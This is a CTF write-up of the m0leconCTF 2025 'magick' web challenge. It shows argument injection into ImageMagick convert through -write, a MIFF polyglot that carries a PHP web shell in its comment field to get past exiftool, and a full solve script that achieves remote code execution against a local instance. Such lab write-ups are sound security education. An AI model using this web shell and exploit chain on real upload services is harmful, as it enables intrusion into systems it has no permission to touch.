m0leconCTF2025 web/magick

- 6 mins read

๐ŸŒ web/magick

m0leconCTF 2025 - Web Challenge

Introduction

magick was one of the first web challenges released during m0leconCTF 2025. It was a medium difficulty challenge, worth 50 points by the end of the competition.

Table of Contents

TL;DR

The challenge involved exploiting an ImageMagick convert command injection vulnerability. By leveraging the -write flag and crafting a MIFF polyglot file with embedded PHP code in its comment field, we could bypass exiftool sanitization and achieve remote code execution to retrieve the flag.

Challenge Description

We are given the source code for this challenge, which makes understanding how it works much easier.

.
โ”œโ”€โ”€ app
โ”‚   โ””โ”€โ”€ index.php
โ”œโ”€โ”€ convert.sh
โ”œโ”€โ”€ docker-compose.yml
โ”œโ”€โ”€ Dockerfile
โ”œโ”€โ”€ flags.txt
โ””โ”€โ”€ readflag.c
1 directory, 6 files

There is a readflag.c file that is compiled when building the docker image. This indicates that our goal is to achieve command execution on the machine.

Source Code Analysis

Application Analysis

index.php

<?php

if(isset($_FILES['img']) && isset($_POST['name'])) {
    $proc = proc_open
        $cmd = [
            '/opt/convert.sh',
            $_FILES['img']['tmp_name'],
            $outputName = 'static/'.$_POST['name'].'.png'
        ],
        [],
        $pipes
    );
    echo $outputName;
    proc_close($proc);
} else {
    echo "hey";
    highlight_file(__FILE__);
}
?>

We can upload a file and a name via POST request. Both these parameters are then passed as arguments to proc_open(), which calls convert.sh.

The Convert Script

convert.sh

#!/bin/bash
set -x
convert $1 -resize 64x64 -background none -gravity center -extent 64x64 $2

find . -type f -exec exiftool -overwrite_original -all= {} + >/dev/null 2>&1 || true

This is quite interesting. We can see that our second argument (which is a string) is passed at the end of the convert command without any form of sanitization.

After the image conversion, exiftool is executed on all the files in the current directory to clear EXIF data.

Vulnerability Identification

We will use a Python script to communicate with the server just to make testing faster.

communicate.py

#!/usr/bin/env python3
import sys
import requests

TARGET = "[http://localhost:8000/index.php](http://localhost:8000/index.php)"

if len(sys.argv) != 3:
    print(f"Usage: {sys.argv[0]} <file> <name>")
    sys.exit(1)

with open(sys.argv[1], 'rb') as f:
    files = {'img': f}
    data = {'name': sys.argv[2]}
    r = requests.post(TARGET, files=files, data=data)
    print(r.text)

Testing for Command Injection

Let’s try to see what the backend does when we upload a safe image and a name with spaces.

~/ctfs/m0lecon2025/web/magik
$ python3 communicate.py image.png "first second third"
static/first second third.png
frontend-1  | + convert /tmp/phpoThHGk -resize 64x64 -background none -gravity center -extent 64x64 static/first second third.png

We confirmed our input is indeed passed directly. Let’s try a command substitution to get code execution.

~/ctfs/m0lecon2025/web/magik
$ python3 communicate.py image.png '$(touch pwned)'
static/$(touch pwned).png
frontend-1  | + convert /tmp/php9p6pHT -resize 64x64 -background none -gravity center -extent 64x64 'static/$(touch' 'pwned).png'

Our input got split into two different arguments, and nothing got executed because of this. Let’s confirm that our code failed by checking if a “pwned” file has been created on the server.

total 20
drwxr-xr-x 1 www-data www-data 4096 Oct 26 21:09  .
drwxr-xr-x 1 root     root     4096 Oct 26 20:52  ..
-rw-rw-rw- 1 www-data www-data  385 Oct 26 20:52  index.php
-rw-r--r-- 1 www-data www-data  302 Oct 26 21:10 'pwned).png'
-rw-r--r-- 1 www-data www-data  302 Oct 26 21:06  third.png

We notice a few weird things here. The first one is that files are not created in the static folder, and the second one is the behavior of the last arguments of the executed command.

Finding the Attack Vector

If we take a look at convert’s help manual, we see this line:

-write filename      write images to this file

Since we have control over the arguments passed, we could leverage this flag to arbitrarily create a file with a PHP extension.

$ python3 communicate.py image.png 'dummy -write file.php'
static/dummy -write file.php.png

Let’s check the docker:

$ ls -la
total 16
drwxr-xr-x 1 www-data www-data 4096 Oct 26 21:19 .
drwxr-xr-x 1 root     root     4096 Oct 26 20:52 ..
-rw-r--r-- 1 www-data www-data  352 Oct 26 21:19 file.php.png
-rw-rw-rw- 1 www-data www-data  385 Oct 26 20:52 index.php

It created the file with a PNG extension because it was the last argument of the command. Let’s fix our payload:

$ python3 communicate.py image.png 'dummy -write file.php dummy'
static/dummy -write file.php dummy.png
$ ls -la
total 36
drwxr-xr-x 1 www-data www-data  4096 Oct 26 21:22 .
drwxr-xr-x 1 root     root      4096 Oct 26 20:52 ..
-rw-r--r-- 1 www-data www-data   352 Oct 26 21:22 dummy.png
-rw-r--r-- 1 www-data www-data 16910 Oct 26 21:22 file.php
-rw-rw-rw- 1 www-data www-data   385 Oct 26 20:52 index.php

Perfect! We can now create a PHP file, and its content is the image we uploaded (with cleared EXIF data).

$ file file.php
file.php: PNG image data, 64 x 64, 1-bit grayscale, non-interlaced

Exploitation

Crafting the MIFF Polyglot

The last step to achieve code execution is to craft a file that will have a PHP payload in its contents, but also bypass exiftool’s data clearing.

To do that, we’ll use a .miff file (docs here). This is ImageMagick’s native file format and it can hold comments. exiftool probably won’t clear this field because this is not a file type it’s expecting.

craft_miff.py

#!/usr/bin/env python3

def create_miff_polyglot(output='exploit.miff'):
    miff = b"id=ImageMagick\n"
    miff += b"class=DirectClass\n"
    miff += b"columns=1\n"
    miff += b"rows=1\n"
    miff += b"depth=8\n"
    miff += b"matte=False\n"
    miff += b"comment={<?php system($_GET['cmd']); ?>}\n"
    miff += b":\n"
    miff += b"\xff\xff\xff"
    
    with open(output, 'wb') as f:
        f.write(miff)

if __name__ == '__main__':
    create_miff_polyglot()

Achieving Code Execution

Let’s test this exploit:

~/ctfs/m0lecon2025/web/magik
$ python3 communicate.py exploit.miff 'dummy -write file.php dummy'
static/dummy -write file.php dummy.png

And check the file created on the server:

$ file file.php
file.php: MIFF image data

$ cat file.php
id=ImageMagick version=1.0
class=DirectClass colors=0 alpha-trait=Blend
number-channels=4 number-meta-channels=0 channel-mask=0x0000000007ffffff
matte=True
columns=64 rows=64 depth=8
colorspace=sRGB
page=64x64+0+0
gravity=Center
rendering-intent=Perceptual
gamma=0.454545
red-primary=0.64,0.33 green-primary=0.3,0.6 blue-primary=0.15,0.06
white-point=0.3127,0.329
comment={<?php system($_GET['cmd']); ?>}

Great! Our comment didn’t get removed by exiftool. We can now visit the page and we should see our command’s output.

~/ctfs/m0lecon2025/web/magik
$ curl [http://localhost:8000/file.php\?cmd\=id](http://localhost:8000/file.php\?cmd\=id)
id=ImageMagick version=1.0
class=DirectClass colors=0 alpha-trait=Blend
[...]
comment={uid=33(www-data) gid=33(www-data) groups=33(www-data)
}

Perfect! We now have everything we need to get the flag. Let’s make a script to do that.

Solve Script

solve.py

import os
import sys
import requests

def create_miff_polyglot(output='exploit.miff'):
    miff = b"id=ImageMagick\n"
    miff += b"class=DirectClass\n"
    miff += b"columns=1\n"
    miff += b"rows=1\n"
    miff += b"depth=8\n"
    miff += b"matte=False\n"
    miff += b"comment={<?php system($_GET['cmd']); ?>}\n"
    miff += b":\n"
    miff += b"\xff\xff\xff"
    
    with open(output, 'wb') as f:
        f.write(miff)

if len(sys.argv) != 3:
    print(f"Usage: {sys.argv[0]} <name> <target_url>")
    sys.exit(1)

TARGET = sys.argv[2]
print("[*] TARGET:", TARGET)

print("[*] Crafting MIFF file")
create_miff_polyglot()

# Upload shell via .miff file
with open("exploit.miff", 'rb') as f:
    files = {'img': f}
    data = {'name': "a -write " + sys.argv[1] + " a"}
    r = requests.post(TARGET, files=files, data=data)
    if r.text:
    	print("[+] Uploaded exploit (" + TARGET + sys.argv[1] + ")")

# Trigger the command execution to get the flag
print("[*] Getting flag")
flag_req = requests.get(TARGET + sys.argv[1] + "?cmd=/readflag")
flag = flag_req.text.split("comment={")[1].split("\n")[0][:-1]

print("[+] Flag:", flag)

Running the exploit:

~/ctfs/m0lecon2025/web/magik
$ python3 solve.py shell.php [http://localhost:8000/](http://localhost:8000/)
[*] TARGET: [http://localhost:8000/](http://localhost:8000/)
[*] Crafting MIFF file
[+] Uploaded exploit ([http://localhost:8000/shell.php](http://localhost:8000/shell.php))
[*] Getting flag
[+] Flag: ptm{fake_flag}

Conclusion

This challenge was a great introduction to ImageMagick command injection vulnerabilities. The key takeaway was understanding how to bypass file sanitization by leveraging ImageMagick’s native MIFF format, which allowed us to preserve our PHP payload through the exiftool cleaning process. By combining the -write flag with a polyglot file, we successfully achieved remote code execution and retrieved the flag.


written by Conflict

back to top